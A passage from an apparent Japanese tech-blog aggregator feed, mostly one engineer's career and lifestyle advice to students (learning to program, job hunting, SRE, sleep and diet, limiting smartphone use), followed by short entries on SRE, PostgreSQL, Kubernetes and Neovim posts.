り返さない仕組みを作る。これが私の失敗との向き合い方です。完璧を目指すのではなく、失敗してもいいと自分に許可を出すこと。そこから本当の挑戦が始まるのです。これは、自分を信頼し、自分を大切にする健全な自己愛の表れでもあります。また、簡単に手に入るものは、簡単に失われます。でも、痛みを伴って得たものは、決して簡単には失われない。この事実を心に留めておいてください。そして、これは自分自身との関係性においても同じことが言えます。自分を大切にしすぎるあまり縛ってしまうのではなく、失敗も含めて受け入れる。その寛容さこそが、本当の意味での自己愛なのかもしれません。超一流になるのは才能か努力か? (文春e-book)作者:アンダース・エリクソン,ロバート・プール文藝春秋AmazonQ.プログラミングがあまり分からなくて不安ですこれはとても一般的な不安です。実は私も、そして多くのエンジニアも同じ経験をしてきました。プログラミングの習得は、多くの人が思い描くような線形的な成長カーブを描きません。理解が全く進まないように感じる時期が長く続き、そしてある日突然、「あ、わかった!」という瞬間が訪れるのです。これは私たちの脳が新しい概念を理解する際によく見られるパターンです。たとえば、プログラミングの各種概念は最初のうちは本当に理解が困難です。でも、ある時を境に急に全体像が見えてくる。それまでモヤモヤしていた霧が晴れるように、概念が腑に落ちる瞬間が必ずやってきます**。だからこそ、今理解できないからと諦めるのは本当に惜しいことです。理解できないのは当たり前の段階なのです。むしろ、理解できなくて当然の時期を耐え忍ぶことこそが、プログラミング習得の本質とも言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonそれと合わせて、私から一つアドバイスさせていただきたいことがあります。それは言語化能力を磨くことです。プログラミングの学習において、概念を言葉で説明できる能力は非常に重要です。なぜなら、自分の理解を言葉にすることで、その理解がより深まり、また他者と共有できるようになるからです。学んだことを日記やブログに書き留めることから始めてみましょう。技術書を読んでその内容を自分の言葉で要約してみる。分からないことを質問する際にも、自分の理解状態を具体的に言語化してみる。これらの活動は、一見するとプログラミングの学習から外れているように思えるかもしれません。しかし、言語化能力はエンジニアにとって、いくら高くても困ることのないスキルです。コードを書く力と、それを説明する力。この両輪があってこそ、真に優れたエンジニアとなれるのです。最後に繰り返しになりますが、今の不安は決して特別なものではありません。理解できないことに耐え、学び続ける勇気さえあれば、必ず道は開けます。今は理解できなくても、それは単に「まだ」理解できていないだけなのです。焦らず、諦めず、そして何より自分を信じて、一歩ずつ前に進んでいってください。ワイド新版 思考の整理学 (単行本 --)作者:外山 滋比古筑摩書房AmazonQ.キャリア形成をするときにどうすればよいでしょうか?10年程度のエンジニア経験を通じて、最も重要だと感じているのは「計画的偶発性」の考え方です。予期せぬチャンスは必ず訪れますが、それを活かせるかどうかは、日頃の準備にかかっています。そして、どのような道を選んでも、基礎的なスキルの習得は必須です。技術力はもちろん、コミュニケーション能力、プロジェクトマネジメントの基礎、ドキュメンテーションスキルなど、技術以外の部分が実は大きな差を生みます。これらを支えるのが規則正しい生活習慣です。質の良い睡眠、バランスの取れた食事、適度な運動。この当たり前のことを当たり前にできることが、長期的なキャリアを支える土台となります。最後に付け加えておきたいのは、最初の選択が全てを決めるわけではないということです。キャリアは常に変化し続けるものであり、必要に応じて軌道修正することも可能です。大切なのは、その時々で最善と思える選択をし、その環境で最大限学び、成長することです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版AmazonQ.就活のときに気にしたほうがいいこと就職活動で自分が気にしていたのは相手の立場や背景を理解したコミュニケーションです。人事部門、現場エンジニア、経営層など、話す相手によって重視する観点が異なります。同じ経験や能力でも、相手の関心に応じて伝え方を工夫する必要があります。人事との対話では、将来のキャリアビジョンやチームへの貢献について。現場エンジニアとは技術的な興味や具体的な実装経験について。経営層にはビジネスへの理解や組織全体への価値提供について。このように文脈に応じて自分の強みを効果的に伝えられることが重要です。また、会社選びにおいては技術環境だけでなく、育成・評価制度やチームの雰囲気も重要な要素です。メンター制度の有無、技術研修の充実度、キャリアパスの明確さ。そしてチーム内のコミュニケーションスタイル、残業や休暇の取得状況、チーム間の連携方法。これらが実際の働きやすさを大きく左右します。このような状況に応じたコミュニケーション能力は、就活だけでなく、その後のエンジニアとしてのキャリアでも大きな差となって現れます。相手の関心や視点を理解し、それに応じて自分の経験や考えを効果的に伝える。これは単なる処世術ではなく、エンジニアに求められる重要なスキルの一つなのです。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonQ.学生の間でやったほうがいいこと正直に申し上げると、この質問に対する模範解答を示すことは避けたいと思います。なぜなら、誰もが自分の人生の主人公であり、その選択に責任を持つべきだからです。ただし、一つだけ確実に言えることがあります。それは、誰もあなたを救ってくれないということです。社会人になってから「あの時こうしておけば良かった」と思うことは誰にでもあります。しかし、それはその時の自分が選択した結果であり、その選択に対する責任は自分自身にあるのです。あなたの人生の舵を取れるのは、あなただけです。そして、その選択の結果として感じる後悔も、あなただけのものです。他人の経験談や助言は参考程度に留め、最終的には自分で考え、決断し、その結果に向き合う覚悟を持ってください。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonQ.SREって何ですか?この質問に関しては、私が以前書いた「点でしかないものを線で見る為に - 「SREの前に」」というブログ記事と登壇資料を紹介しました(同運営イベントなので・・・)。syu-m-5151.hatenablog.comこの記事では、SREの考え方や、実践に必要な基礎知識について詳しく解説しています。あとはインフラエンジニア版の競技プログラミングサイトを紹介した。sadservers.comQ.生産性を上げる方法はありますか?私からの回答は明確です。「スマートフォンを制限すること」に尽きます。現代の最大の生産性の敵は、実はポケットの中にあります。スマートフォンは素晴らしいツールですが、使い方を誤ると大きな時間泥棒となります。これは単なる時間管理の問題ではありません。スマートフォンやSNSは、意図的に依存性を持つように設計されています。「ついスマホを見てしまう」「暇があれば通知をチェックしている」「SNSやYouTubeを見ていたら、気づいたら何時間も経っていた」—これらは偶然ではありません。これらのプラットフォームは、ドーパミンという報酬物質を放出させ、継続的な使用を促す仕組みになっているのです。その影響は私たちの生活のあらゆる面に及びます。集中力の低下により、情報過多で何をしようとしていたのかを忘れてしまう。メンタルヘルスへの悪影響として、衝撃的なニュースや他人の投稿を見て不安や劣等感を感じる。さらには睡眠の質の低下をもたらし、就寝前の使用が質の良い睡眠を妨げています。では、具体的にどうすれば良いのでしょうか。まずは物理的にスマホを遠ざけることから始めましょう。自分の部屋に置かないという選択は、思い切った対策に思えるかもしれませんが、効果は絶大です。目覚まし時計などのような、スマホの代替となるツールを積極的に活用することで、依存度を下げることができます。そして何より大切なのは、リアルで人と会って交流することです。オンラインのつながりに頼りすぎると、かえって孤独感が深まることがあります。実際の対面でのコミュニケーションは、心の健康を保つ上で非常に重要です。重要なのは、これは決してあなたの意志の弱さが原因ではないということです。現代のテクノロジーは、人間の脳の仕組みを巧妙に利用するように設計されています。だからこそ、意識的な制限と代替手段の確保が必要なのです。休憩時間もスマートフォンに頼るのではなく、軽い運動や瞑想を取り入れる。寝る前の読書習慣をつけるなど、スマートフォンに依存しない生活リズムを作ることで、驚くほど生産性が向上します。あなたの本来の能力を最大限に発揮するために、まずはスマートフォンとの適切な距離感を見つけることから始めてみてください。スマホ脳(新潮新書)作者:アンデシュ・ハンセン新潮社AmazonQ.周りのすごい人と比べてしまって落ち込みますこの悩みをよく聞きます。俺も思います。確かに私たち人間は、ついつい目に見えるラベルで判断してしまいがちです。学歴、過去の実績、Xのフォロワー数、有名企業でのインターン経験、GitHubのスター数など。でも、エンジニアの本当の凄さは、そんな表面的なところにはありません。人生は、運よりも実力よりも「勘違いさせる力」で決まっている作者:ふろむだダイヤモンド社Amazon私が長年エンジニアとして働いてきて確信しているのは、本当に優れたエンジニアの価値は、その人が直面する問題をどう解決するか、チームにどう貢献するか、そして日々どう成長していくかにあるということです。時には、ほんの些細な気づきや熱量や視点の違いが、大きなアウトプットの差を生むことがあります。これは学生時代に限らず、社会人になってからも同様です。確かに、自分が目指したいキャリアイメージに向けて、意識的にある種のラベルを獲得しようとすることは否定しません。それも一つの戦略です。ただし、より重要なのは、自分の思考プロセスや行動を明確に言語化できる能力です。「なぜその選択をしたのか」「どのように問題を解決したのか」を論理的に説明できる人は、社会に出てからより高く評価される傾向にあります。肩書きや過去の実績は、その人の一部分でしかありません。むしろ、今この瞬間にどれだけ真摯に技術や事業と向き合っているか、どれだけ学ぼうとする意欲があるか、そしてどれだけチームに価値をもたらしているか。そういった日々の積み重ねこそが、エンジニアとしての本質的な価値を形作っていくのです。だからこそ、表面的なラベルで自分を判断する必要はありません。あなたにしかできない貢献の仕方があり、あなたにしかない成長の道筋があるはずです。重要なのは、自分の考えや行動を明確に言語化し、それを他者と共有できること。そして、他の人と比べるのではなく、昨日の自分と比べて、一歩ずつでも確実に前に進んでいくことです。いかにして問題をとくか作者:G.ポリア丸善出版Amazon余談ですが、技術的な記事を書いたり登壇したりすることで「いいね」を集めたり、ハッカソンやビジネスコンテストで賞を獲得したりすることで得られる達成感は、一時的な快感に過ぎず、あくまでも外部からの評価でしかありません。イベントやSNSでの反響は確かにモチベーションの維持や目標設定には有効です。しかし、それを自分の技術力の証明と混同してしまうのは危険です。特に、外部での評価が高まると実際の技術力以上に自己評価が膨らみがちです。定期的に競技プログラミングやISUCON、CTF、学生ならICTSCにでも参加して、自分の現在地を冷静に確認することをお勧めします。結局のところ、ソフトウェアエンジニアにとって最も大切なのは、地道なコーディングと技術力の着実な積み重ねなのです。質問ではないのですが投稿まとめツイートの内容をサクッとまとめます。エンジニアの間で「運動が大切だ」という話をよく耳にします。確かにその通りですが、健康維持には運動以外にも同等に重要な要素が複数あります。これは人生の多くの側面に当てはまる話です。「すごい」と感じる人に出会ったとき、その瞬間にその人と自分の実力差や実績の差に圧倒されがちですが、実はそれは表面的な差でしかありません。大切なのは、基本的な生活習慣を整え、地道な努力を10、20年単位で継続できるかどうかです。短期的には大きな差が付いているように見えても、正しい生活習慣と共に粘り強く継続することで、必ず追い付き、追い越すことができます。運動脳作者:アンデシュ・ハンセンAmazon質の良い睡眠は、技術の習得と定着に直接的な影響を与えます。睡眠中、脳は日中の学習内容を整理し、長期記憶として定着させる重要な作業を行っています。しかし、多くのエンジニアは必要な睡眠時間を確保できていない「睡眠負債」の状態にあります。これは単なる「睡眠不足」という言葉で片付けられる問題ではありません。借金と同じように、睡眠負債は返済が滞ると、脳も体も思うように機能しなくなり、最終的には「眠りの自己破産」を引き起こしてしまいます。その結果、集中力の低下、記憶力の減退、さらには深刻な健康上の問題まで引き起こす可能性があります。特に危険なのは、睡眠負債による「マイクロスリープ(瞬間的居眠り)」です。1秒未満から10秒程度の意識の途切れは、本人も気づかないうちに起こり、作業中の重大なミスや事故につながりかねません。コードレビューやインフラ作業など、高度な注意力を要する作業において、これは深刻な問題となります。対策として重要なのは、就寝前のブルーライトを避け、規則正しい睡眠サイクルを維持することです。週末の寝だめでは解決しない睡眠負債を作らないよう、平日から意識的に睡眠時間を確保することが、長期的な学習効率と作業パフォーマンスを支える土台となります。スタンフォード式 最高の睡眠作者:西野 精治サンマーク出版Amazon適切な食事も、持続的な集中力の維持に不可欠です。ただ、多くのエンジニアに共通して見られる問題として、安易に糖質に偏った食事を選択しがちという傾向があります。手軽なカップ麺やパン類、菓子類への依存は、一時的な満足感は得られても、長期的には集中力の低下を招きます。特に気をつけたいのがタンパク質の摂取不足です。プログラミングは脳を使う仕事であり、脳の働きを最適化するためには十分なタンパク質摂取が欠かせません。忙しい中でも、プロテインドリンクの活用や、コンビニで手に入る鶏むね肉のサラダなど、手軽にタンパク質を補給できる方法を確保しておくことをお勧めします。ここで個人的におすすめなのが低温調理器の活用です。特に鶏むね肉の調理に関しては、低温調理器があれば手間をかけずに柔らかく美味しいタンパク質を確保できます。帰宅後に調理を始めるのは大変ですが、低温調理器なら出勤前にセットしておくだけで、帰宅時には完璧な火加減の料理が待っています。しかも、大量調理が可能なので、一度の調理で数日分のタンパク質を準備できます。コーヒーや糖分に頼りすぎない食生活を意識することも重要です。特に朝食では、炭水化物とタンパク質をバランスよく摂取することで、一日を通して安定したパフォーマンスを発揮できます。疲れない体をつくる最高の食事術作者:牧田善二小学館Amazonそして見落とされがちなのが、意識的な休養時間の確保です。連続的な作業は、必ずしも生産性の向上には繋がりません。むしろ、疲れをごまかして動き続けることは、回復に要する時間を延ばすだけでなく、深刻な健康上の問題を引き起こす可能性があります。休養には「生理的休養」「心理的休養」「社会的休養」の3種類があり、これらを適切に組み合わせることで、より効果的な疲労回復が期待できます。ただし、ここで言う休養とは、スマートフォンを触ることではありません。むしろ、休憩時間にスマートフォンを見ることは、脳を別の形で疲労させてしまう最悪の選択と言えます。理想的な休養とは、「自分で決めた」「仕事とは関係ない」「成長できる」「楽しむ余裕がある」という条件を満たした活動を指します。これらの要素が揃うことで、単なる休憩ではなく、心身の本質的な回復と成長をもたらす「攻めの休養」となります。デジタルデバイスから完全に離れ、心身をリセットする時間が必要です。短い散歩や深呼吸、窓の外を眺めるなど、意識的に何もしない時間を作ることで、脳は自然と新しいアイデアを生み出す準備を整えていきます。これは一見、時間の無駄に思えるかもしれませんが、長期的な生産性向上には不可欠な投資なのです。休養学―あなたを疲れから救う作者:片野 秀樹東洋経済新報社Amazon運動も確かに重要ですが、それは全体の一部分でしかありません。質の良い睡眠、バランスの取れた食事、適切な休憩。これらすべての要素が揃って初めて、エンジニアとして最高のパフォーマンスを発揮できるのです。ぜひ、生活習慣全体を見直す機会にしていただければと思います。おわりに後から見返すと純粋な学生に対して偉そうで斜に構えた回答をしてるなぁ… もっとベタをやれって思ってしまいました。ともあれ無事に終わって良かったです。学生の皆さんと対話できる貴重な機会を得て、私自身も多くの気づきがありました。かつての自分も同じような不安や悩みを抱えていたことを思い出し、その時の気持ちが今でも鮮明に蘇ってきます。そして不思議なことに、皆さんの質問に答えながら、過去の自分自身とも対話をしているような感覚がありました。技術の世界は常に変化し続けています。その中で最も重要なのは、技術そのものではなく、技術を学び続ける力、問題を解決する力、そして人と協力する力です。これは今も昔も変わらない真理だと感じています。皆さんには無限の可能性があります。当時の私がそうだったように、今は不安や迷いがあるかもしれません。でも、その不安を抱えながらも一歩を踏み出す勇気があれば、必ず道は開けます。失敗を恐れず、積極的に挑戦し続けてください。私たち社会人エンジニアは、かつての自分を重ねながら、皆さんの成長を心から応援しています。そして、この対話を通じて、私自身も過去の自分と向き合い、その不安や迷いを受け止め直すことができました。私たちは常に、過去の自分を励ましながら、未来の誰かの道標となれるよう成長し続けているのかもしれません。なお、イベントでお会いした学生の皆さん、もし追加の質問や相談事があれば、お気軽にDMをください。可能な範囲で、皆さんのキャリアについて一緒に考えていけたらと思います。pitta.me","isoDate":"2024-11-16T15:34:21.000Z","dateMiliSeconds":1731771261000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"PostgreSQLので全文検索拡張機能、pg_bigmを試す","link":"https://zenn.dev/nnaka2992/articles/use_pgbigm_on_cloudsql","contentSnippet":"アプリケーションを開発しているとアプリケーションログの分析や、JSONデータに対する分析など全文検索機能を求められることがたびたびあります。そういった場合はElasticsearchのように全文検索に特化したデータベースを導入することが多いです。しかし単純な文章の検索[^特にトランザクション用途]や小規模に利用される場合ばわざわざ専用のデータベースを管理作りたくないというケースが多いです。今回はPostgreSQLで利用可能な全文検索インデックスの拡張機能であるpg_bigmを紹介します。 検証環境の作成 CloudSQL 構成Cloud SQL EditionsE...","isoDate":"2024-11-16T11:12:07.000Z","dateMiliSeconds":1731755527000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"コマンドの引数にJSONやYAMLを使うと便利かも","link":"https://blog.atusy.net/2024/11/16/json-as-cmd-args/","contentSnippet":"コマンドの引数をいっそJSONやYAMLにしちゃうと、シェルスクリプトの引数処理でwhileループを回避できる、配列など複雑な値もJSONの枠組みで扱える、JSONSchemaでバリデーションできると、嬉しいことが沢山かも。","isoDate":"2024-11-16T00:00:00.000Z","dateMiliSeconds":1731715200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Think IT連載「Kubernetesスペシャリストが注目する関連ツール探求」が連載開始から1周年","link":"https://sreake.com/blog/kubernetes-2/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、インプレスグループが運営するエンジニア向け技術解説サイト「Think IT」にて連載中の「Kubernetesスペシャリストが注目する関連ツール探求」が、連載開始から1周年を迎えることをお知らせします。The post スリーシェイク、Think IT連載「Kubernetesスペシャリストが注目する関連ツール探求」が連載開始から1周年 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-14T01:00:00.000Z","dateMiliSeconds":1731546000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「CloudNative Days Winter 2024」に出展・登壇","link":"https://sreake.com/blog/cloudnative-days-winter-2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年11⽉28日(木)・29日(金)に開催される「CloudNative Days Winter 2024」に出展および登壇することをお知らせします。The post スリーシェイク、「CloudNative Days Winter 2024」に出展・登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-12T01:19:07.000Z","dateMiliSeconds":1731374347000,"authorName":"Sreake","authorId":"Sreake"},{"title":"点でしかないものを線で見る為に - 「SREの前に」というタイトルで登壇しました。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/11/110223","contentSnippet":"はじめに先日、技育プロジェクト(株式会社サポーターズ)主催の技育CAMPアカデミアという勉強会にて「SREの前に」というイベントで登壇する機会をいただきました。今回は「点」としての情報を「線」として繋げて見ることの重要性について、お話しさせていただきました。このイベントは、特にこれからSREを目指す学生の方々に向けて、運用の基礎的な考え方や歴史的背景を共有することを目的としています。サピエンス全史 上 文明の構造と人類の幸福 (河出文庫)作者:ユヴァル・ノア・ハラリ河出書房新社Amazonイベントページtalent.supporterz.jpどこにでも答えがある時代私たちは情報があふれる時代に生きています。技術書やオンラインドキュメント、技術ブログ、そして最近では生成AIなど、様々な方法で技術知識を得ることができます。しかし、これらの情報の多くは「点」として存在しています。なぜその技術が生まれたのか、どのような課題を解決しようとしていたのか、当時のエンジニアたちは何を考えていたのか―――そういった文脈や歴史的な背景は、資料や書籍だけでは見えづらいものです。それでも必要とされるエンジニアになってほしい「SREとは何か」という知識自体は、今や簡単に手に入ります。しかし、なぜSREという概念が必要とされるようになったのか、従来の運用との本質的な違いは何か、といった背景を理解することは容易ではありません。運用の世界では、過去の経験や失敗から学び、それを現在の実践に活かすことが非常に重要です。こうした経験や知見は、単なる技術ドキュメントからは読み取ることが難しいのです。そして、さらに重要なのは、その時々の「正解っぽい何か」を理解し、実際の課題解決に活かせるようになることです。技術やプラクティスは、それ自体が目的なのではありません。例えば、SREの施策やベストプラクティスも、結局のところ「どうすれば安定的にサービスを運用できるか」という課題に対する一つの解答なのです。私たちに求められているのは、その解答を理解し、自分たちの文脈に合わせて適切に活用していく力ではないでしょうか。技術の変遷を知ることで見えてくるものこの20年間で技術は劇的に変化しました。クラウドの普及、コンテナ技術の発展、マイクロサービスアーキテクチャの採用など、システムの在り方そのものが大きく変わってきています。しかし、これらの変化の根底には「より良いサービスを、より確実に、より効率的に提供したい」という普遍的な願いがあります。技術の進化を「新しい技術の登場」としてだけでなく、「なぜその技術が必要とされたのか」という視点で理解することで、次に何が必要とされるのか、自分たちはどう進化していくべきなのかが見えてくるはずです。発表を通じて伝えたかったこと今回の発表で、特に若手エンジニアの皆さんに伝えたかったのは、技術を「点」で捉えるのではなく、その背景にある文脈や歴史的な流れを「線」として理解することの大切さです。これは単に「過去を知る」ということではなく、未来への洞察力を養うことにもつながります。変化の激しいIT業界では、個々の技術は常に進化し、新しいものに置き換わっていきます。しかし、その変化の本質を理解し、次の一手を考えられるエンジニアこそが、これからも必要とされ続けるのだと信じています。そして、これは重要な点なのですが、私たちが目にする技術の変遷は、常に正解への道のりだったわけではありません。むしろ、その時々の制約や状況の中で、エンジニアたちが必死に模索した結果の一つにすぎません。「その時はそれしか選択肢がなかった」という判断もまた、とても重要な文脈です。この視点を持つことで、現在の技術選択に対しても、より深い理解と柔軟な判断が可能になるのではないでしょうか。発表資料 speakerdeck.com今回の発表では、以下のような内容をお話させていただきました。運用の歴史的変遷2000年代前半の運用現場では、多くが手作業で行われ、開発チームと運用チームの間には大きな壁が存在していました。その後、2009年頃からDevOpsの概念が登場し、開発と運用の協調が重要視されるようになりました。2010年代に入ると、GoogleによってSREが体系化され、データドリブンな運用やプロアクティブな障害対策が標準的なアプローチとなっていきました。現代の運用における課題現在のSREは、システムの複雑化やマイクロサービスアーキテクチャの採用により、新たな課題に直面しています。特に以下の点が重要になってきています:システムの複雑性の管理クラウドネイティブ環境での信頼性確保組織の成長に伴う運用のスケーリング継続的なシステム改善の実現歴史から学ぶ重要性発表では特に、過去の経験や失敗から学ぶことの重要性を強調しました。技術の進化は決して直線的ではなく、過去の課題が形を変えて再び現れることも少なくありません。そのため、歴史的な文脈を理解することは、現在の課題に対する解決策を考える上で非常に重要です。この発表が、技術を学ぶ方々、特に学生の皆さんにとって、個々の知識を繋げて理解するための一助となれば幸いです。単に「今」の技術トレンドを追いかけるだけでなく、その背景にある文脈や歴史を理解することで、より深い技術理解と、将来の変化への対応力を身につけることができるのではないかと考えています。システムの本質を見失わないために本発表では詳しく触れませんでしたが、ここで一つ重要な課題に言及しておきたいと思います。クラウドの発展は、確かにシステム開発を劇的に効率化しました。ですが、その便利さは大きな落とし穴も持っています。クラウドの力が強大になり、エンジニアの技術力が相対的に低下し、それがさらなるクラウド依存を生む。この負のサイクルは、私たちの目の前で着実に進行しています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonシステムが動作している状態さえ維持できれば問題ないという考え方や、複雑な問題はクラウドサービスに任せておけばよいという姿勢は、一見合理的に見えます。しかし、システムの性能改善や障害対応時に、表面的な理解しかないエンジニアには、その本質的な原因を特定することすらできません。各システムの深い理解と、時には「痛み」とも呼べる経験は必要不可欠です。しかし、「動いているからいい」という現状で、この必要性を伝えることは非常に難しい。これは現代のエンジニアリング教育における最大の課題です。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonエンジニアリングの本質は表面的な最適化ではありません。まず根本的な理解があり、その上で適切な抽象化や最適化を行う―――これこそが、私たちが目指すべき姿なのです。コンピュータの構成と設計 MIPS Edition 第6版  上・下電子合本版作者:David Patterson,John Hennessy日経BPAmazon最後に今回の発表を通じて、多くの学生の方々と交流する機会を得ました。皆さんの熱心な質問や鋭い観察には、とても励まされました。もうすぐ30歳を迎える身として、学生の皆さんの真摯な質問一つひとつに胸が熱くなり、できる限り丁寧に答えたいという気持ちで一杯になりました。実は私自身、学生時代は進むべき道に悩み、多くの不安を抱えていました。だからこそ、今回質問をしてくださった学生の皆さん、そしてイベントに来てくださった全ての方々と、いつかじっくりとお話ができればと思っています。(ちなみに、この年になっても人見知りが抜けず、時々無愛想な態度をとってしまうことがあります。そんな時は「まだまだ成長途中のエンジニア」として、温かい目で見守っていただけると嬉しいです)技術の世界は日々変化していきますが、その変化の中に普遍的な価値を見出し、理解を深めていく姿勢は、エンジニアとして成長していく上で最も重要な要素の一つだと考えています。時には「その時はそれしか選択肢がなかった」という判断があったことを理解しつつ、過去のエンジニアにリスペクトを送りつつ私たちはきっと、この悩みや探求の過程を共有することで、共に成長していけるはずです。最後に、このような貴重な機会を提供してくださった技育プロジェクト(株式会社サポーターズ)のスタッフの皆様、そして参加してくださった皆様に心より感謝申し上げます。若手エンジニアの皆さんの成長を、これからも微力ながら支援させていただければ幸いです。","isoDate":"2024-11-11T02:02:23.000Z","dateMiliSeconds":1731290543000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"qfscope.nvimでtelescope.nvimの検索結果を絞り込む","link":"https://blog.atusy.net/2024/11/11/qfscope-nvim/","contentSnippet":"telescope.nvimの検索結果をファイル名や該当行の内容で絞り込みたいときのために、qfscope.nvimを開発しました。","isoDate":"2024-11-11T00:00:00.000Z","dateMiliSeconds":1731283200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes Sidecar 一問一答","link":"https://sreake.com/blog/kubernetes-native-sidecar/","contentSnippet":"はじめに Kubernetes 1.29からBeta機能となったSidecar Containerという機能を使う機会があったので、これについて一問一答形式で概要を共有してみようと思います。 小粒なTipsになりますがご […]The post Kubernetes Sidecar 一問一答 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-08T04:06:41.000Z","dateMiliSeconds":1731038801000,"authorName":"Sreake","authorId":"Sreake"},{"title":"データベースリライアビリティエンジニアリング輪読会","link":"https://sreake.com/blog/database-reliability-engineering-reading-circle/","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @Sugo Fumitaka です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。 […]The post データベースリライアビリティエンジニアリング輪読会 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-08T04:00:52.000Z","dateMiliSeconds":1731038452000,"authorName":"Sreake","authorId":"Sreake"},{"title":"git rebaseの苦労を減らすための覚え書き","link":"https://blog.atusy.net/2024/11/07/git-rebase/","contentSnippet":"レビューやログを振り返る時のために、Gitのコミットログを整理するrebase作業が、少しでも楽になるよう個人的に気をつけているポイントをまとめました。","isoDate":"2024-11-07T00:00:00.000Z","dateMiliSeconds":1730937600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SREの前に","link":"https://speakerdeck.com/nwiizo/srenoqian-ni","contentSnippet":"2024年11月06日(水) 18:00~19:00の予定に遅刻してしまい、大変申し訳ございませんでした。お詫びとして、当初非公開予定であった資料を公開させていただきます。元々、公開する予定ではなかったので補足が足りない部分などあると思いますのでご容赦下さい。\\r\\rブログなどで補足情報出すかもなので気になればフォローしてください\\r- https://syu-m-5151.hatenablog.com/\\r- https://x.com/nwiizo\\r\\r\\rSREの前に - 運用の原理と方法論\\r公式URL: https://talent.supporterz.jp/events/2ed2656a-13ab-409c-a1d9-df8383be25fd/","isoDate":"2024-11-06T05:00:00.000Z","dateMiliSeconds":1730869200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始","link":"https://sreake.com/blog/datadog_aws-marketplace/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes Pod で Wasm と Linux コンテナを並行して実行する","link":"https://zenn.dev/z63d/articles/cccf07c5a36ab3","contentSnippet":"!雑なメモ、誤情報に注意 概要KubeCon + CloudNativeCon North America 2024 の Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads が気になったので事前に少し調べたメモ。runwasi は Sidecar パターンを拡張します。Pod で軽量な Wasm を Linux コンテナの Sidecar として実行するメリットが色々あります。という話だと思う。 runwasishim を開発するライブラリ、shim プロセスをつくるものと...","isoDate":"2024-11-03T03:34:49.000Z","dateMiliSeconds":1730604889000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"Nixで最新のR環境を構築できなくてしんどい","link":"https://blog.atusy.net/2024/11/01/nix-r-is-tough/","contentSnippet":"先日、nix-shellでRを使うという記事を書きましたが、Nixで入れたRをふだん使いするのはしんどいな……と感じています。いかんせん、R本体もパッケージも最新のものを使えない現状があります。nix本家が対応に困ってる2024-11-01時点で最新のRは4.4.2ですが、nixで利用可能なRは4.4.1で止まっています。どうにも、パッケージの依存関係の都合で更新したくてもできない状況になっているようです。","isoDate":"2024-11-01T00:00:00.000Z","dateMiliSeconds":1730419200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【CloudNative Entry】入社課題で学んだことTips","link":"https://zenn.dev/melanmeg/articles/f52c5aaa895523","contentSnippet":"はじめに10月から 3-shake に入社した melanmeg です。入社時課題が始まって、 やったこと・わかったこと をここに整理してみました!!内容は「クラウドネイティブのエントリーレベルのスキルを身に着ける」といったものになります前職ではAWS・Azureを触っていたため、今回Google Cloudで課題を進めることにしました。今まで触ってこなかったのでクラウドごとの特徴を知れる良い学びになりました。早速、整理したことを紹介していきます。 課題一言でいうと、『クラウドネイティブのエントリーレベルのスキルを身に着けるを目標の元、k8sクラスタ構築からwo...","isoDate":"2024-10-31T15:03:05.000Z","dateMiliSeconds":1730386985000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Kubernetes Gateway API 入門","link":"https://zenn.dev/tayusa/articles/786e3c11e631fe","contentSnippet":"ちょうど1年前にGAとなったKubernetesのGateway APIを触る機会がなかったので、個人的に理解を深めるようと思います。https://kubernetes.io/blog/2023/10/31/gateway-api-ga/ Gateway API 